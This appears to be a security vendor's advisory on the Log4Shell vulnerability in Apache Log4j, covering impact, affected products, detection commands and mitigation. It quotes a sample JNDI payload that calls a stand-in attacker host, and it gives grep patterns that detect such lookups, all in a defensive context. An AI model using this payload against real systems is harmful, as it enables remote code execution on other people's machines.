A critical vulnerability has been identified in Apache Log4J, a prominent java open source logging library that is utilized in a wide range of applications across the world. This vulnerability is being tracked as CVE-2021-44228 has a CVSS score of 10, the highest severity rating possible. The vulnerability, which can allow an attacker to execute arbitrary code by sending crafted log messages. The vulnerability is also named Log4Shell or LogJam.

While the vulnerability was patched in Log4j 2.15.0, the patch wasn’t sufficient and could have been bypassed. A new CVE-2021-45046 was assigned for it and it is also rated critical with a CVSS score of 9.

Impact of the Log4J Vulnerability

Successful exploitation of the vulnerability could allow unauthenticated attackers to execute arbitrary commands and potentially take complete control of the system. According to researchers, given how ubiquitous this library is and how trivial it is to exploit the vulnerability, its potential impact is alarming. Some even say it’s equivalent to Shellshock or HeartBleed.

The vulnerability stems from log4j’s handling of log messages. Log4j has lookups that allow string interpolation as in any other programming language. However, if an attacker delivers a particularly constructed message, one that has a string like ${jndi:ldap://attacker.com/a}, it causes loading of an external code class, deserializes the message and execute the code, resulting in Remote Code Execution (RCE). While the vulnerability is new, the approach involving JNDI lookup for RCE was already known.

Who is Impacted?

This issue is particularly concerning because of how ubiquitous this open-source library is, supporting millions of Java applications to log messages. It is frequently used in enterprise Java software and in Apache frameworks including:

• Apache Struts2
• Apache Solr
• Apache Druid
• Apache Flink
• Apache Swift, etc.

It is also used by other popular products and services like Steam, Apple iCloud, VMWare, Cisco and many more. An extensive list of responses from impacted organisations has been compiled here.

Detecting Log4J Exploitation

There are several ways to identify where log4j might be used within your environment and product. Instead of blindly going through your logs to detect exploit attempts, it is better to identify where they might have been used and filter based on that.

Since access logs do not contain all headers and POST data, simply digging through logs to detect exploit attempts is not sufficient. Here are some simple commands to check if any exploits attempts have been made.

- This command searches for exploitation attempts in uncompressed files in folder /var/log and all subfolders

sudo egrep -i -r '\$\{jndi:(ldaps?|rmi|dns|https?):/[^\n]+' /var/log

- This commands searches for exploitation attempts in compressed files in folder /var/log and all subfolders

sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldaps?|rmi|dns|https?):/[^\n]+'

- There is also a python based scanner for Log4Shell to detect the most obfuscated form of exploit codes. You can get it from here.

- Local Scanner:- https://github.com/hillu/local-log4j-vuln-scanner or https://github.com/mergebase/log4j-detector

- Online services eg:- https://log4shell.huntress.com/ or https://canarytokens.org/generate or app.interactsh.com

- Administrators can use Florian Roth’s sigma rule to detect generic exploitation attempts from web server logs.

- Several vendors are releasing IoCs regarding Log4Shell that administrators can use to aid in their detection.

We have also published an online scanner to help you detect vulnerable hosts at scan.threatnix.io

Mitigation

Install the latest updates as soon as practicable. If your application is vulnerable to this vulnerability, update to fixed version 2.16.0.

Other options is to add java parameter - Dlog4j2.formatMsgNoLookups=true in order to change system property log4j2.formatMsgNoLookups to true in versions 2.10 to 2.14.1, or remove JndiLookup class from the classpath. The best option is to update to the new, secure version – 2.16.0

If you need any help with detection or patching of the vulnerability, feel free to reach out to us.